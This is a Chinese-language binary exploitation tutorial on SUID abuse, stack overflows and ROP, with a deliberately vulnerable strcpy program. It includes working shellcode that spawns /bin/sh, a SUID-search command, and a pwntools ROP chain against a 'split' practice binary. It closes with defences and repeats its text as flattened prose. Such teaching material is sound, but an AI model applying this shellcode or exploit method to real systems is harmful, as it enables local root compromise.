绘画二进制0x000002攻击的艺术【ROP巫术使用】
字数 1211 2025-08-24 07:48:34

二进制漏洞利用艺术:ROP技术详解

1. SUID二进制文件利用基础

1.1 SUID概念

SUID (Set owner User ID) 是Linux中的一种特殊权限设置。当SUID位被设置时,执行该文件的用户将临时获得文件所有者的权限(通常是root)。

1.2 查找SUID文件

find / -perm -u=s -type f 2>/dev/null

1.3 漏洞示例代码分析

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void abracadabra(char *fun) {
    char data[400];
    strcpy(data, fun);
    printf("copied..!!");
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("No input provided..!");
        return 1;
    }
    abracadabra(argv[1]);
    return 0;
}

漏洞点

  • strcpy()函数未检查缓冲区长度,导致缓冲区溢出
  • 当作为SUID程序运行时,可利用此漏洞提升到root权限

2. 经典栈溢出攻击

2.1 攻击原理

  • 通过溢出覆盖返回地址(EIP/RIP)
  • 将控制流重定向到注入的shellcode

2.2 攻击步骤

  1. 确定溢出点:412字节填充 + 4字节EIP覆盖
  2. 构造payload:
    • NOP雪橇(359字节)
    • Shellcode(53字节)
    • 覆盖的返回地址(0xffffcd90)

2.3 Shellcode示例

\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

3. 不可执行堆栈(NX)保护

3.1 NX保护机制

  • 将内存区域标记为不可执行
  • 阻止从堆栈执行代码
  • 使传统的shellcode注入失效

4. 返回导向编程(ROP)

4.1 ROP基本原理

  • 利用程序中已有的代码片段(gadget)
  • 通过ret指令串联这些片段
  • 每个gadget执行特定操作后返回
  • 最终实现任意代码执行

4.2 64位寄存器用途

  • rax - 扩展寄存器a
  • rbx - 扩展寄存器b
  • rcx - 扩展寄存器c
  • rdx - 扩展寄存器d
  • rbp - 基指针寄存器
  • rsp - 栈指针寄存器
  • rsi - 源索引寄存器
  • rdi - 目的索引寄存器

4.3 x64函数调用约定

  • 前6个参数通过寄存器传递:
    • RDI, RSI, RDX, RCX, R8, R9
  • 剩余参数通过栈传递

4.4 ROP利用步骤

  1. 寻找有用的函数和字符串

    • 使用objdump分析二进制
    • 查找system()调用和flag.txt字符串
  2. 构造ROP链:

    • 填充缓冲区
    • 使用pop rdi gadget设置参数
    • 传递参数地址("/bin/cat flag.txt")
    • 调用system()

4.5 示例ROP利用脚本

from pwn import *

print("*Check-sec")
xrx = ELF('./split')

print("*")
payload = "A" * 40
payload += p64(0x004007c3)  # pop rdi
payload += p64(0x00601060)  # /bin/cat flag.txt
payload += p64(0x00400560)  # system()

p = xrx.process()
print(p.recvuntil(">"))
p.clean()
p.sendline(payload)
p.recv()
p.interactive()
print(p.clean())

5. 关键知识点总结

  1. SUID利用

    • 理解SUID权限提升机制
    • 识别存在漏洞的SUID二进制
  2. 缓冲区溢出

    • 确定溢出点位置
    • 构造有效的payload结构
  3. 绕过NX保护

    • 理解NX保护的工作原理
    • 掌握ROP技术替代传统shellcode
  4. ROP技术

    • 寻找和利用gadget
    • 构造ROP链控制程序流
    • 64位架构下的参数传递方式
  5. 工具使用

    • GDB调试分析
    • objdump反汇编
    • Python pwntools编写exploit

6. 防御措施

  1. 启用栈保护机制(Stack Canary)
  2. 使用地址空间布局随机化(ASLR)
  3. 最小化SUID二进制数量
  4. 使用更安全的函数替代strcpy等危险函数
  5. 定期进行安全审计和漏洞扫描
二进制漏洞利用艺术:ROP技术详解 1. SUID二进制文件利用基础 1.1 SUID概念 SUID (Set owner User ID) 是Linux中的一种特殊权限设置。当SUID位被设置时,执行该文件的用户将临时获得文件所有者的权限(通常是root)。 1.2 查找SUID文件 1.3 漏洞示例代码分析 漏洞点 : strcpy() 函数未检查缓冲区长度,导致缓冲区溢出 当作为SUID程序运行时,可利用此漏洞提升到root权限 2. 经典栈溢出攻击 2.1 攻击原理 通过溢出覆盖返回地址(EIP/RIP) 将控制流重定向到注入的shellcode 2.2 攻击步骤 确定溢出点:412字节填充 + 4字节EIP覆盖 构造payload: NOP雪橇(359字节) Shellcode(53字节) 覆盖的返回地址(0xffffcd90) 2.3 Shellcode示例 3. 不可执行堆栈(NX)保护 3.1 NX保护机制 将内存区域标记为不可执行 阻止从堆栈执行代码 使传统的shellcode注入失效 4. 返回导向编程(ROP) 4.1 ROP基本原理 利用程序中已有的代码片段(gadget) 通过ret指令串联这些片段 每个gadget执行特定操作后返回 最终实现任意代码执行 4.2 64位寄存器用途 rax - 扩展寄存器a rbx - 扩展寄存器b rcx - 扩展寄存器c rdx - 扩展寄存器d rbp - 基指针寄存器 rsp - 栈指针寄存器 rsi - 源索引寄存器 rdi - 目的索引寄存器 4.3 x64函数调用约定 前6个参数通过寄存器传递: RDI, RSI, RDX, RCX, R8, R9 剩余参数通过栈传递 4.4 ROP利用步骤 寻找有用的函数和字符串 使用 objdump 分析二进制 查找 system() 调用和 flag.txt 字符串 构造ROP链: 填充缓冲区 使用 pop rdi gadget设置参数 传递参数地址("/bin/cat flag.txt") 调用 system() 4.5 示例ROP利用脚本 5. 关键知识点总结 SUID利用 : 理解SUID权限提升机制 识别存在漏洞的SUID二进制 缓冲区溢出 : 确定溢出点位置 构造有效的payload结构 绕过NX保护 : 理解NX保护的工作原理 掌握ROP技术替代传统shellcode ROP技术 : 寻找和利用gadget 构造ROP链控制程序流 64位架构下的参数传递方式 工具使用 : GDB调试分析 objdump反汇编 Python pwntools编写exploit 6. 防御措施 启用栈保护机制(Stack Canary) 使用地址空间布局随机化(ASLR) 最小化SUID二进制数量 使用更安全的函数替代 strcpy 等危险函数 定期进行安全审计和漏洞扫描